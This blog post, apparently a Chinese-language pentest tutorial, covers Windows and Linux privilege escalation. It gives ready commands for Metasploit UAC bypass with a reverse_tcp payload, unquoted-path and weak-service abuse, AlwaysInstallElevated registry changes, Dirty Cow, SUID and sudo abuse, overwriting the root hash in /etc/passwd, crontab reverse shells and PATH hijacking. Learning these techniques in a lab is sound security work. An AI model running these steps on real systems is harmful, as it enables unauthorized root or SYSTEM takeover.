权限提升

权限提升

简介

权限提升是指将操作系统中的低权限用户提升为高权限用户,例如在 Linux 系统中将 www-data 用户提升为 root 用户,或在 Windows 系统中将普通用户提升为 Administrator,甚至进一步提升为 SYSTEM 用户。

Windows 权限提升

Bypass UAC 提权

用户账户控制(UAC) 是 Windows 系统的一种安全机制,用于限制管理员组中非 Administrator 用户的权限。即使当前用户属于 Administrators 用户组,其权限也会受到 UAC 的限制。

image-20250822100815174

前提条件:当前用户必须属于 Administrators 用户组。

Metasploit 绕过 UAC 提权步骤

  1. 攻击机通过 Metasploit 建立与靶机的连接。

  2. 使用以下命令配置并执行提权:

    use exploit/windows/local/bypassuac
    set session <sessionID>        # 指定需要提权的 session
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost <攻击机IP>          # 设置攻击机 IP
    set lport <攻击机端口>        # 设置攻击机监听端口
    set target 1
    run
    

     

  3. 成功绕过 UAC 后,会生成一个新的 Meterpreter 会话,用户名仍为原用户名。

  4. 在新会话中运行 getprivs 命令,可确认已获得完整权限(Windows 通过权限而非用户名判断用户权限)。

  5. 执行 getsystem 命令,切换到 SYSTEM 用户。

image-20250822103006714

image-20250822102947310

drop_tokengetsystem

  • drop_token:将当前 SYSTEM 用户降级为原始 Windows 用户。
  • getsystem:利用 SeImpersonatePrivilege 权限模拟 SYSTEM 用户令牌,实现权限提升。若当前权限不足,则无法执行 getsystem

注意SYSTEM 并非真实用户,无法直接用于建立 SMB 或 RDP 连接。

image-20250822105645612

内核漏洞提权

Windows 内核运行于 SYSTEM 权限,历史内核漏洞可被利用进行提权。

操作步骤

  1. 使用 Metasploit 模块 post/multi/recon/local_exploit_suggester 扫描靶机可能存在的内核漏洞。
  2. 根据扫描结果,选择相应的漏洞模块进行攻击(Windows 内核运行权限都是 SYSTEM 用户)。

image-20250822111822174

错误的配置提权

不安全的服务路径

某些服务路径包含空格,可能导致 Windows 解析错误,攻击者可利用此漏洞植入木马。

示例:服务路径为 C:\Program File (x86)\FTP Folder\FTP Services\FTPServer.exe

Windows 解析策略

  • 尝试执行 C:\Program.exe,参数为 File (x86)\FTP Folder\FTP Services\FTPServer.exe
  • Program.exe 不存在,尝试执行 C:\Program File (x86)\FTP.exe,参数为 Folder\FTP Services\FTPServer.exe
  • 依此类推,直至正确解析到 FTPServer.exe

攻击者操作

  1. 上传木马文件到以下任一位置:

    C:\Program.exe
    C:\Program File (x86)\FTP.exe
    C:\Program File (x86)\FTP Folder\FTP.exe
    
  2. 重启服务或计算机(服务通常设置为开机自启)。

  3. 木马被触发,生成管理员权限的 Meterpreter 会话。

Metasploit 自动化攻击

  • 使用模块 windows/local/unquoted_service_path,自动查找含空格的服务路径,上传木马,并在靶机重启时触发。

image-20250822140631687

不安全的服务权限

某些服务允许普通用户修改、重启或关闭,攻击者可将服务路径修改为木马路径。

攻击流程

  1. 查找普通用户可修改的服务路径。
  2. 将服务路径替换为木马 .exe 文件路径。
  3. 重启服务(通常普通用户也具有重启权限)。

Metasploit 自动化攻击

  • 使用模块 windows/local/service_permissions,自动查找弱权限服务,上传木马,修改路径并重启服务。

image-20250822143610056

管理员安装 MSI

若 Windows 开启 AlwaysInstallElevated 配置,所有 MSI 安装包将以管理员权限安装。

开启配置(需管理员权限):

chcp 65001	# 修改为 UTF-8 编码
reg add HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
reg add HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
reg add HKLM\Software\Policies\Microsoft\Windows\Installer /v DisableMSI /t REG_DWORD /d 0 /f

Metasploit 自动化攻击

  • 使用模块 windows/local/always_install_elevated,检测是否开启 AlwaysInstallElevated,若开启,上传并静默安装 MSI 木马,完成后自动清理。

image-20250822151838347

RottenPotato 提权

特点:将 Windows 服务账户(如 IIS APPPOOL\DefaultAppPool)提升为 SYSTEM

前提条件:服务账户具有 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege 权限。

image-20250822153923225

Metasploit 自动化攻击

  • 使用模块 exploit/windows/local/ms16_075_reflection_juicy,配置后执行即可提权。

image-20250822154702858

Linux 权限提升

靶场环境linux-elevate-hub

docker build -t linux_target:1.0 .
docker run -d -p 10022:22 linux_target:1.0
ssh zhangsan@192.168.2.243 -p 10022  # 密码:123456

image-20250825163621009

内核漏洞提权

操作步骤

  1. 使用 uname -a 查看内核版本。
  2. 在 Google、linux-kernel-exploitsexploitDB 搜索对应内核版本的漏洞。

示例:脏牛漏洞(Dirty Cow,CVE-2016-5195),支持任意地址和文件写入。

利用方法

./dirty 123456

/etc/passwd 添加一个 uid=0 的用户(用户名:firefart,密码:123456)。

错误配置提权

SUID 提权

SUID 权限:文件以其属主的权限运行,而非调用者的权限。

查找 SUID 文件

find / -perm -u=s -type f 2>/dev/null

利用方法

  1. GTFOBins 搜索具有 SUID 权限的命令及其提权方法。
  2. 执行相应命令,获取 root 权限(euid 为真实权限)。

image-20250825164621164

image-20250825164700546

image-20250825164745520

sudo 提权

解释:sudo 提权是指 sudo 错误配置了无需密码就可以执行指令

查看 Sudo 权限

sudo -l

利用方法

  1. 若发现无需密码即可执行某些命令,检查 GTFOBins 获取提权方法。
  2. 执行提权命令。

image-20250825170423028

/etc/passwd 权限错误

检查权限(是否可写):

ls -l /etc/passwd

攻击流程

  1. 生成密码哈希:

    openssl passwd -1 -salt 123 123456
    # 输出示例:$1$123$7mft0jKnzzvAdU4t0unTG1
    
  2. 编辑 /etc/passwd,将 root 用户的密码哈希替换为生成的值。

  3. 使用新密码登录 root 用户。

image-20250826103654690

image-20250826103756279

/etc/crontab 权限错误

检查权限(是否可写):

ls -l /etc/crontab

image-20250826104503081

攻击流程

  1. /etc/crontab 可写,可添加计划任务,例如反弹 Shell、创建 root 用户、赋予 /etc/passwd 写权限等。
  2. 保存后等待任务执行。

环境变量劫持

场景/tmp/shell 封装了 /usr/bin/ps 命令,且具有 SUID 权限,属主为 root

image-20250826105328158

攻击流程

  1. 创建伪造的 ps 命令:

    cd /tmp
    echo "/bin/bash" > ps
    chmod u+x ps
    
  2. /tmp 添加到环境变量:

    export PATH=/tmp:$PATH
    
  3. 执行 /tmp/shell,触发 /tmp/ps(内容为 /bin/bash),以 root 权限运行。

image-20250826110903502

 

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇